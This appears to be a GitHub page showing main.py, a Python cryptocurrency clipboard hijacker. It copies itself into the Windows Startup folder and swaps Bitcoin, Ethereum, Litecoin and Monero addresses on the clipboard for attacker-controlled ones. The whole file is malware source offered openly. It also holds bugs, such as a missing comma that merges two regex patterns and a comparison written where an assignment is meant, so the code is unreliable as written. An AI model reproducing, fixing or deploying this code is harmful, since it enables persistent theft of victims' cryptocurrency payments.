-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathmain.py
More file actions
74 lines (54 loc) · 1.59 KB
/
main.py
File metadata and controls
74 lines (54 loc) · 1.59 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import re
import os
import time
import shutil
import random
import difflib
import tkinter as tk
patterns = [
r'^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$', # bitcoin
r'^0x[a-zA-F0-9]{40}$', # Eth
r'[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$' # Litecoin
r'^4([0-9]|[A-B])(.){93}$' # Monero
]
btc_address = [
'blackie',
]
eth_address = [
'',
]
ltc_address = [
'',
]
mon_address = [
'',
]
def start_up():
user = os.getlogin()
basename = os.path.basename(__file__)
shutil.copy(os.getcwd() + basename,'C:/Users/'+user+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/')
def clipper():
while True:
time.sleep(1)
root = tk.Tk()
clipboard = root.clipboard_get()
for pattern in patterns:
if re.match(pattern, clipboard):
index = patterns.index(pattern)
if index == 0:
address_list = btc_address
elif index == 1:
address_list = eth_address
elif index == 2:
address_list == ltc_address
elif index == 3:
address_list = mon_address
match_address = difflib.get_close_matches(clipboard, address_list) # Finds a close match
if str(match_address) == '[]': # If no close match is found chose a random address
match_address = random.choice(address_list)
root.clipboard_append(''.join(match_address))
else:
pass
if __name__ == '__main__':
start_up()
clipper()